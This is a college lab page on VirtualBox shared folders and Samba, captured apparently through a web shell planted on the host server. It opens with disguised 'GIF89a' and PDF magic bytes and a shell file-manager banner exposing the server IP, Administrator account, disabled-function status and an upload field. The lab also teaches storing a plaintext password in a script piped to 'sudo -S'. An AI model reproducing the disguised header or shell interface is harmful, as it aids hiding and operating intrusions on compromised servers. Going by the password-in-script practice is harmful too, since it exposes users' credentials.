GIF89a; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµùÕ5sLOšuY
Server IP : 134.29.175.74 / Your IP : 216.73.216.160 Web Server : nginx/1.10.2 System : Windows NT CST-WEBSERVER 10.0 build 19045 (Windows 10) i586 User : Administrator ( 0) PHP Version : 7.1.0 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : /nginx/html/JimMartinson/CST2505/Labs/Lab05/ |
Upload File : |
<? // JimMartinson/CST2505/Labs/Lab05.php require('Gradebook/EvaluationSubmission_BEGIN.phpinc'); // Replaced. $disabled = ''; $disabled = ' disabled'; // Comment this line to enable lab. ?> u <fieldset><legend>Description</legend> The purpose of this lab is to demonstrate your ability to share folders via Virtualbox and Samba. <?=$gradeNote?> <? if ( $disabled ) { ?><span class="error bold">Notice: Do not perform this assignment unless this notice has been removed.</span><? } ?> </fieldset> <fieldset><legend>Lab Instruction</legend> Create a <b class="copyText"><?=$evaluationName?></b> folder and keep all screenshots and any copied files for this assignment in that <b><?=$evaluationName?></b> folder. <ol class="count"> <!-- 1 --> <li>Create a <b>VirtualBox</b> share. <br>This will share a folder on your <b>Windows 10 host</b> machine and mount it as a folder on your <b>Ubuntu 18 Desktop VM</b>. <ol> <!-- 1.1 --> <li>Create a folder to share on your <b>Windows 10 host</b>: <ol> <li>Create a <b class="copyText"><?=$courseNumber?></b> folder in your <b>Windows 10 host</b>. <span class="note">I put mine in C:\Class.</span> <br><span class="note normal">There cannot be any spaces in the path to your <b><?=$courseNumber?></b> folder.</span> </li> <li>Create a <b class="copyText">VirtualBoxHost</b> folder in the <b><?=$courseNumber?></b> folder.</li> <li>Create a text document in the <b>VirtualBoxHost</b> folder called <b class="copyText">OriginalHost.txt</b></li> </ol> </li> <!-- 1.2 --> <li>Setup the share on your <b>Ubuntu 18 Desktop VM</b>. <ol> <!-- 1.2.1 --> <li>Install VirtualBox Guest Additions. <ol> <li>Start and login in to your <b>Ubuntu 18 Desktop VM</b>.</li> <li>Make sure the VM can compile binaries: <ins>Added on 10/11.</ins> <ol> <li>Open a terminal window.</li> <li>Run the command: <span class="kbd copyText">sudo apt-get install linux-headers-`uname -r`.</span></li> <li>Run the command: <span class="kbd copyText">sudo apt-get install build-essential</span>.</li> </ol> </li> <li>From the VirtualBox menu select <b>Devices/Insert Guest Additions CD Image...</b> <span class="warning"> <br>If you see the following error: <br><img src="images/GuestAdditionsCD_error.PNG" width="282" height="223" alt="Guest Additions CD error"> <br>Select <b>Devices/Optical Drives/Remove disk from virtual drive</b> to dismount the current CD. <br>Retry this step. </span> </li> <li> If you see the dialog below, select <b>Run</b>. <img src="images/VBox_GAs_6.1.16_Dialog.png" width="617" height="170" alt="Insert Guest Additions run dialog"> <br> --OR-- <ol> <li>Dbl-click the <b>VBox_GAs_6.0.12</b> CD on the Desktop.</li> <li>Click on the <b>VBoxLinuxAdditions.run</b> file and click the <img src="images/RunSoftware.png" width="130" height="29" alt="Run Software"> button <note>(in the upper-right corner)</note>.</li> <li>Select <b>Run</b>.</li> </ol> </li> <li>Authenticate to super user.</li> <li>When it is done, hit <b>enter</b> to close the terminal window.</li> <li>Right-click on the <b>VBox_GAs_6.0.12</b> CD and select <b>Eject</b>.</li> <li>Restart your <b>Ubuntu 18 Desktop VM</b>. <span class="note">This may take a bit...</span></li> </ol> </li> <!-- 1.2.2 --> <li>Add your user to the vboxusers group. <ol> <li>Login to your <b>Ubuntu 18 Desktop VM</b>.</li> <li>Open a terminal window.</li> <li>Run the command: <kbd class="copyText">sudo usermod -a -G vboxsf $USER</kbd>.</li> <li>Logout and login.</li> <li>Open a terminal window.</li> <li>Run the command: <kbd class="copyText">groups $USER</kbd> <br>You should see vboxsf in your list of groups. <? showBegin('See example of groups $USER'); ?><br> <img src="images/groups.png" width="732" height="438" alt="groups $USER"/><br> <? showEnd (); ?> </li> </ol> </li> <!-- 1.2.3 --> <li>Create a folder to use as a mount point on your <b>Ubuntu 18 Desktop VM</b>: <ol> <li>Create a <b class="copyText"><?=$courseNumber?></b> folder in your <b>Ubuntu 18 Desktop VM</b>. <span class="note">I put mine on the Desktop.</span> <br><span class="note normal">There cannot be any spaces in the path to your <b><?=$courseNumber?></b> folder.</span> </li> <li>Create a <b class="copyText">VirtualBoxGuest</b> folder in the <b><?=$courseNumber?></b> folder</li> <li>Create a text document in the <b>VirtualBoxGuest</b> folder called <b class="copyText">OriginalGuest.txt</b></li> </ol> </li> <!-- 1.2.4 --> <li>Share your <b>VirtualBoxHost</b> folder: <ol> <li>From the VirtualBox menu select <b>Devices/Shared Folders/Shared Folders Settings...</b>.</li> <li>Click on the <b>Adds new shared folder icon</b> <img src="images/adds.png" width="26" height="26" alt="Adds icon">.</li> <li>For <b>Folder Path</b> browse to your <b><?=$courseNumber?>/VirtualBoxHost</b> folder on your host machine. <br><span class="note">Mine was C:\Class\CST2505\VirtualBoxHost</span> </li> <li>For <b>Folder Name</b> enter <b class="copytext">VirtualBoxHost</b>.</li> <li>For <b>Mount point </b> enter the path to your <b>Ubuntu 18 Desktop VM</b> <b><?=$courseNumber?>/VirtualBoxGuest</b> folder. <br><span class="note">Mine was /home/jim/Desktop/CST2505/VirtualBoxGuest</span> </li> <li>Check <b>Make Permanent</b>.</li> <li>Click <b>OK</b>.</li> <li>Click <b>OK</b>.</li> <li>Restart your <b>Ubuntu 18 Desktop VM</b>.</li> </ol> </li> <!-- 1.2.5 --> <li>Create a script to mount the share. <ol> <li>Login to your <b class="copyText">Ubuntu 18 Desktop VM</b>.</li> <li>Create a file called <b class="copyText">MountShare</b> in your <b><?=$courseNumber?></b> folder.</li> <li>Edit the file and put in the line: <br><code class="copyText">echo <span class="samp">password</span>|sudo -S mount -t vboxsf VirtualBoxHost <span class="samp">path_to_mount_point</span> >/dev/null 2>/dev/null</code> <br>Replacing <span class="samp">password</span> with your Ubuntu user password and <span class="samp">path_to_mount_point</span> with the path to your mount point from step 1.5.5. <br><span class="note">My entry was: echo bogus|sudo -S mount -t vboxsf VirtualBoxHost /home/jim/Desktop/CST2505/VirtualBoxGuest >/dev/null 2>/dev/null <br>The <kbd>echo password|</kbd> part of the command will send your password to sudo. <br>The <kbd>sudo -S mount -t vboxsf VirtualBoxHost path_to_mount_point</kbd> command mounts the share to the VirtualBoxGuest folder. <br>The <kbd> >/dev/null 2>/dev/null</kbd> part of the command will stop the sudo prompt for your password from being displayed (is is sent to the null device). </span> </li> <li>Open a terminal window.</li> <li>cd to your <b><?=$courseNumber?></b> folder.</li> <li>Make MountShare executable with the command: <kbd class="copyText">chmod 755 MountShare</kbd>.</li> <li>Run the command: <kbd class="copyText">./MountShare</kbd>.</li> </ol> </li> </ol> </li> <!-- 1.3 --> <li>Ensure your <b>VirtualBox</b> share works. <ol> <!-- 1.3.1 --> <li>From your <b>Ubuntu 18 Desktop VM</b>: <ol> <li>Open nautilus (files browser) and go to your <b><?=$courseNumber?>/VirtualBoxGuest</b> folder. <br>Your VirtualBoxGuest folder should look like: <img src="images/VirtualBoxGuestOpen.png" width="691" height="410" alt="VirtualBoxGuest folder"> <br><span class="normal note">The <b>OriginalGuest.txt</b> file you originally put in the folder is no longer visible. This is because you have now used the <b>VirtualBoxGuest</b> folder as a mount point to connect to the <b>VirtualBoxHost</b> folder on your <b>Windows 10 host</b>. The contents of that folder are now what you see. If the <b>OriginalHost.txt</b> is not visible, run the <b>MountShare</b> script again. </span> </li> <li>Create a new text file in the <b>VirtualBoxGuest</b> folder called <b class="copyText">NewGuest.txt</b>.</li> </ol> </li> <!-- 1.3.2 --> <li>From your <b>Windows 10 host</b>: <ol> <li>Open your <b><?=$courseNumber?>/VirtualBoxHost</b> folder. You should see the <b>NewGuest.txt</b> and <b>OriginalHost.txt</b> files. </li> <li>Edit the <b>NewGuest.txt</b> file, enter <samp class="copyText">Text entered from host.</samp>, hit <b>enter</b>, and save it.</li> <li>Create a new text document named <b class="copyText">NewHost.txt</b>.</li> <li>Edit the <b>NewHost.txt</b> file, enter <samp class="copyText">File created by host.</samp>, hit <b>enter</b>, and save it.</li> <li> Take a screenshot of file window and save it as <b class="copyText" style="white-space:nowrap;"><?=$courseNumber?>-<?=$evaluationName?>-<?=$userFileName?>-Host_folder.png</b> in your <b><?=$evaluationName?></b> folder. <? showBegin('See example VirtualBoxHost folder screenshot'); ?><br> <img src="images/VirtualboxHostFolder.png" width="900" height="306" alt="Example VirtualBoxHost folder screenshot"><br> <? showEnd (); ?> </li> </ol> </li> <!-- 1.3.3 --> <li>From your <b>Ubuntu 18 Desktop VM</b>: <ol> <li>Open or refresh (hit <b>F5</b>) the <b><?=$courseNumber?>/VirtualBoxGuest</b> folder. <span class="note">You should see the <b>NewGuest.txt</b>, <b>NewHost.txt</b>, and <b>OriginalHost.txt</b> files. If you do not, then you have probably re-started your <b>Ubuntu 18 Desktop VM</b> since you last ran <b>MountShare</b>. Run the <b>MountShare</b> file again and refresh the folder. </span> </li> <li> Take a screenshot of file window and save it as <b class="copyText" style="white-space:nowrap;"><?=$courseNumber?>-<?=$evaluationName?>-<?=$userFileName?>-Guest_folder.png</b> in your <b><?=$evaluationName?></b> folder. <? showBegin('See example VirtualBoxGuest folder screenshot'); ?><br> <img src="images/VirtualboxGuestFolder.png" width="691" height="410" alt="Example VirtualBoxGuest folder screenshot"><br> <? showEnd (); ?> </li> <li>Open a Terminal window.</li> <li>cd to your <?=$courseNumber?>/VirtualBoxGuest</b> folder.</li> <li>Run the command: <kbd class="copyText">ls -l</kbd> <span class="note">The character after the dash (-) is a lowercase L, not the one (1) character.</span>.</li> <li> Take a screenshot of file window and save it as <b class="copyText" style="white-space:nowrap;"><?=$courseNumber?>-<?=$evaluationName?>-<?=$userFileName?>-Guest_ls.png</b> in your <b><?=$evaluationName?></b> folder. <? showBegin('See example VirtualBoxGuest ls -l screenshot'); ?><br> <img src="images/Guest_ls.png" width="734" height="488" alt="Example VirtualBoxGuest ls screenshot"><br> <? showEnd (); ?> </li> <li>Run the commands: <kbd class="copyText">clear</kbd> and <kbd class="copyText">cat NewGuest.txt</kbd>.</li> <li> Take a screenshot of file window and save it as <b class="copyText" style="white-space:nowrap;"><?=$courseNumber?>-<?=$evaluationName?>-<?=$userFileName?>-NewGuest.png</b> in your <b><?=$evaluationName?></b> folder. <? showBegin('See example Virtualbox cat NewGuest.txt file screenshot'); ?><br> <img src="images/NewGuest.png" width="734" height="488" alt="Example NewGuest.txt screenshot"><br> <? showEnd (); ?> </li> <li>Run the commands: <kbd class="copyText">clear</kbd> and <kbd class="copyText">cat NewHost.txt</kbd>.</li> <li> Take a screenshot of file window and save it as <b class="copyText" style="white-space:nowrap;"><?=$courseNumber?>-<?=$evaluationName?>-<?=$userFileName?>-NewHost.png</b> in your <b><?=$evaluationName?></b> folder. <? showBegin('See example Virtualbox cat NewHost.txt file screenshot'); ?><br> <img src="images/NewHost.png" width="734" height="488" alt="Example NewHost.txt screenshot"><br> <? showEnd (); ?> </li> </ol> </li> </ol> </li> </ol> </li> <!-- 2 --> <li>Create a <b>Samba</b> share. <br><span class="normal note">You cannot perform this part of the lab if you have not succesfully completed <?=labLink(3,false)?></span> <ol> <li>Install Samba on your <b>Ubuntu 18 Desktop VM</b>. <br><span class="note">For help with this part, you can view <a href="https://minnstate.zoom.us/rec/share/QMrSuB-O5JoGkPUKtB2v-gK4ouQC6TIcD4YzTbzW_umnSsHq5lAD8KJEA5zM8cPO.vebxw64cDMn86nP0?startTime=1603395336000">lecture part 2</a>, read <a href="https://tutorials.ubuntu.com/tutorial/install-and-configure-samba#0">Install and Configure Samba</a>, and read <a href="https://askubuntu.com/questions/901583/share-ubuntu-server-16-04-folder-to-windows-host">Share ubuntu-server 16.04 folder to windows host</a>.</span> <ol> <li>Open a Terminal window.</li> <li>Enter the commands: <br><kbd class="copyText">sudo apt update</kbd> <br><kbd class="copyText">sudo apt install samba</kbd> </li> </ol> <span class="note normal">If you cannot install samba then the problem is probably that the main repository is no longer active in your repository sources-list. look ar <a href="https://askubuntu.com/questions/1176942/problems-installing-samba-on-a-fresh-ubuntu-18-04-lts-install">this page</a> to add the mail repository back. Then you need to update your desktop again (See <?=labLink(4,false,'')?>).</span> </li> <li>Configure Samba. <ol> <li>Edit the samba config file. <ol> <li>Open a Terminal window.</li> <li>Enter the command: <kbd class="copyText">sudo pico /etc/samba/smb.conf</kbd>.</li> <li>At the bottom of the file, add the following lines: <pre class="copyText code">[<?=$courseNumber?>] comment = Samba on Ubuntu path = <span class="samp">path_to_the_<?=$courseNumber?>_folder_on_your_Ubuntu_18_Desktop_VM</span> browsable = yes read only = no create mask = 0755</pre> Where <span class="samp">path_to_the_<?=$courseNumber?>_folder_on_your_Ubuntu_18_Desktop_VM</span> is the path to the <b><?=$courseNumber?></b> folder you created in step 1.2.3.1. <br><span class="note">Mine was /home/jim/Desktop/CST2505</span> </li> </ol> </li> </ol> </li> <li>Restart Samba and open it in the firewall. <ol> <li>Open a Terminal window.</li> <li>Add your user as a Samba user with: <kbd class="copyText">sudo smbpasswd -a $USER</kbd>. When prompted for the password, use the same one as your <b>Ubuntu 18 Desktop VM</b> login.</li> <li>Enter the command: <kbd class="copyText">sudo ufw allow samba</kbd> to open samba in the firewall.</li> <li>Restart Samba with the command <kbd class="copyText">sudo service smbd restart && sudo service nmbd restart</kbd>.</li> </ol> </li> <li>Ensure the share works from your <b>Windows 10 host</b>. <ol> <li>Open <b>File Explorer</b> and enter <samp>\\ip_address_of_your_Ubuntu_VM</samp> in the <b>Address bar</b>. <br><span class="note">For Mac help, see <a href="https://support.apple.com/en-us/HT204445">How to connect with File Sharing on your Mac</a>.</span> <br><span class="note">If you cannot connect or login then something went wrong and you need to check your configuration and / or make sure Samba is running and that you added your user as a Samba user.</span> <br><span class="note">The problem I had was with Windows 10 update changes. <a href="https://docs.microsoft.com/en-US/troubleshoot/windows-server/networking/guest-access-in-smb2-is-disabled-by-default">This page</a> shows how to fix <b>AllowInsecureGuestAuth</b> issues.</span> </li> <li>Open the <b>CST2505</b> folder, enter your Ubuntu 18 Desktop <b>User name</b> and <b>Password</b>, and click <b>OK</b>.</li> <li>Create a text document named <b>samba.txt</b>.</li> <li> Take a screenshot of file window and save it as <b class="copyText" style="white-space:nowrap;"><?=$courseNumber?>-<?=$evaluationName?>-<?=$userFileName?>-SambaHost.png</b> in your <b><?=$evaluationName?></b> folder. <? showBegin('See example screenshot'); ?><br> <img src="images/SambaHost.png" width="900" height="523" alt="Host share example screenshot"/><br> <? showEnd (); ?> </li> </ol> </li> <li>Ensure the share works from your <b>Ubuntu 18 Desktop VM</b>. <ol> <li>Open the <b><?=$courseNumber?></b> folder. <span class="normal note">You should see the <b>samba.txt</b>.</span> </li> <li> Take a screenshot of file window and save it as <b class="copyText" style="white-space:nowrap;"><?=$courseNumber?>-<?=$evaluationName?>-<?=$userFileName?>-SambaGuest.png</b> in your <b><?=$evaluationName?></b> folder. <? showBegin('See example screenshot'); ?><br> <img src="images/SambaGuest.png" width="691" height="411" alt="Guest share example screenshot"/><br> <? showEnd (); ?> </li> </ol> </li> </ol> </li> <!-- 3 --> <li>Turn in your assignment: <ol type="a"> <li>Make sure the following files are in your <b><?=$evaluationName?></b> folder: <ol type="a"> <li><?=$courseNumber?>-<?=$evaluationName?>-<?=$userFileName?>-Guest_folder.png</li> <li><?=$courseNumber?>-<?=$evaluationName?>-<?=$userFileName?>-Guest_ls.png</li> <li><?=$courseNumber?>-<?=$evaluationName?>-<?=$userFileName?>-NewGuest.png</b></li> <li><?=$courseNumber?>-<?=$evaluationName?>-<?=$userFileName?>-NewHost.png</li> <li><?=$courseNumber?>-<?=$evaluationName?>-<?=$userFileName?>-SambaGuest.png</li> <li><?=$courseNumber?>-<?=$evaluationName?>-<?=$userFileName?>-SambaHost.png</li> </ol> </li> <li>Zip up your <b><?=$evaluationName?></b> folder into a file named <b class="copyText"><?=$uploadFilename?></b>.</li> <li>Browse and select your <b><?=$uploadFilename?></b> file: <input type="file" name="fileUpload" id="inpFileUpload"<?=$disabled?>><div id="divFileploadError"></div></li> <li>Then <input type="submit" name="f_subtask" id="inpSubmit" value="Submit"<?=$disabled?>> for grading.</li> </ol> </li> </ol><? if ( $disabled ) { ?><span class="error bold">Notice: Do not perform this assignment unless this notice has been removed.</span><? } ?> </fieldset> <? require('Gradebook/EvaluationSubmission_END.phpinc'); // Replaced. #require('../../ReferencesResources.phpinc'); #require($Instructor['Path'].'/ContactInformation.phpinc'); if ($TRACK != '') $_SESSION['TRACK'] .= "<li>End ".basename(__FILE__)."</ol>\n"; ?>